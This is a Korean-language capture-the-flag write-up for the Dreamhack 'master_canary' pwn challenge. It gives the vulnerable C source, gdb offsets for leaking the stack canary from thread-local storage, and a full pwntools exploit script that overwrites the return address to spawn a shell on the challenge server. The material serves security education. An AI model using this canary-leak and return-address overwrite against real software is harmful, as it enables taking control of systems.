[Dreamhack] PWN master_canary
이번 문제는 드림핵 master_canary 문제다. 문제 제목 그대로 master canary를 릭해서 푸는 문제이다.
문제 환경으 ubuntu16:04 버전을 사용한다. 우선 해당 문제의 소스코드를 살펴보자.
// gcc -o master master.c -pthread
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>
char *global_buffer;
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
void *thread_routine() {
char buf[256];
global_buffer = buf;
}
void read_bytes(char *buf, size_t size) {
size_t sz = 0;
size_t idx = 0;
size_t tmp;
while (sz < size) {
tmp = read(0, &buf[idx], 1);
if (tmp != 1) {
exit(-1);
}
idx += 1;
sz += 1;
}
return;
}
int main(int argc, char *argv[]) {
size_t size;
pthread_t thread_t;
size_t idx;
char leave_comment[32];
initialize();
while(1) {
printf("1. Create thread\n");
printf("2. Input\n");
printf("3. Exit\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0)
{
perror("thread create error");
exit(0);
}
break;
case 2:
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(global_buffer, size);
printf("Data: %s", global_buffer);
break;
case 3:
printf("Leave comment: ");
read(0, leave_comment, 1024);
return 0;
default:
printf("Nope\n");
break;
}
}
return 0;
}
위 코드에서 유심히 봐야 할 부분은 case 1: 부분의 pthread_create 함수이다. thread_routine 함수에서는 size에 대한 검증이 없어 버퍼 오버플로우가 발생한다. 또한 스레드 함수인 thread_routine은 TLS와 인접하게 생성되므로 오버플로우를 통해서 TLS에 있는 마스터 카나리 값을 릭 할수 있는 취약점이 존재한다.
공격 시나리오를 생각해보자
우선 1번 메뉴를 통해 스레드를 생성한다. 여기서 thread_routine 함수의 size 미 검증으로 인한 버퍼 오버플로우 취약점이 발생한다. 함수 내부에서 사용되는 buf변후는 전역 변수인 global_buffer 포인터에 대입된다.
이후 2번 메뉴를 통해서 원하는 크기만큼 global_buffer에 값을 쓴다. 여기서 global_buffer는 스레드 함수에서 사용되어 TLS와 인접하게 생성된다. 따라서 buf에서 master canary까지의 거리를 구해 카나리 값 직전까지 덮으면 master canary의 값을 leak 할수 있다.
그 다음 3번 메뉴를 통해서 스텍 오버플로우를 일으킨다. 이때 2번 메뉴를 통해 leak한 canary를 사용해 리턴 주소를 get_shell() 로 바꾼다.
이 정도면 공격에 성공할 것 같다. 디버깅 하면서 하나씩 살펴보자.
gdb를 통해 확인 해 보면 thread_retine에서의 buf 값은 다음과 같다.
0x400a75 <thread_routine+26> lea rax, [rbp - 0x110]
<RAX 0x7ffff77eee40>
이후 마스터 카나리의 위치를 계산하고 둘의 차를 구한다.
pwndbg> x/x $fs_base+0x28
0x7ffff77ef728: 0x4ba9d200
pwndbg> x/x 0x7ffff77ef728-0x7ffff77eee40
0x8e8: Cannot access memory at address 0x8e8
둘의 차는 0x8e8이다. 다만 카나리 값이 하위 1바이트는 00이기 때문에 이 또한 오버라이트 해야지 printf가 00을 만나지 않고 카나리 값을 전부 leak 할 수 있다.
따라서 2번 메뉴를 통해 0x8e8+1 만큼의 size를 주고 A를 0x8e8+1개 입력해 릭 한다.
이후 main 함수에서 다음과 같은 부분을 살펴보자.
0x400c39 <main+308>: lea rax,[rbp-0x30]
이 부분은 3번 메뉴를 통해 값을 입력 받는 leave_comment 변수의 크기이다 0x30의 크기를 가지고 있으나 1024만큼 입력이 가능해 오버플로우가 발생한다.
따라서 A(40) + canary + B(8) + get_shell() 을 페이로드로 입력하면 공격에 성공한다.
from pwn import *
context.update(arch='amd64', os='linux')
#context.log_level = 'debug'
p = remote("host3.dreamhack.games", 10039);
#p = process("./iofile_vtable_check", env={'LD_PRELOAD':'./libc.so.6'})
#p = process("./master_canary")
elf = ELF("./master_canary")
#libc = ELF("./libc.so.6")
master_to_buf = 0x8e9
get_shell = 0x400a4a
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"Size: ", str(master_to_buf))
p.sendlineafter(b"Data: ", b"A"*master_to_buf)
p.recvuntil(b"A"*master_to_buf)
canary = u64(b"\x00"+p.recvn(7))
print(f"canary : {hex(canary)}")
p.sendlineafter(b"> ", b"3")
payload = b"A"*40
payload += p64(canary)
payload += b"B"*8
payload += p64(get_shell)
p.sendlineafter('Leave comment: ', payload)
p.interactive()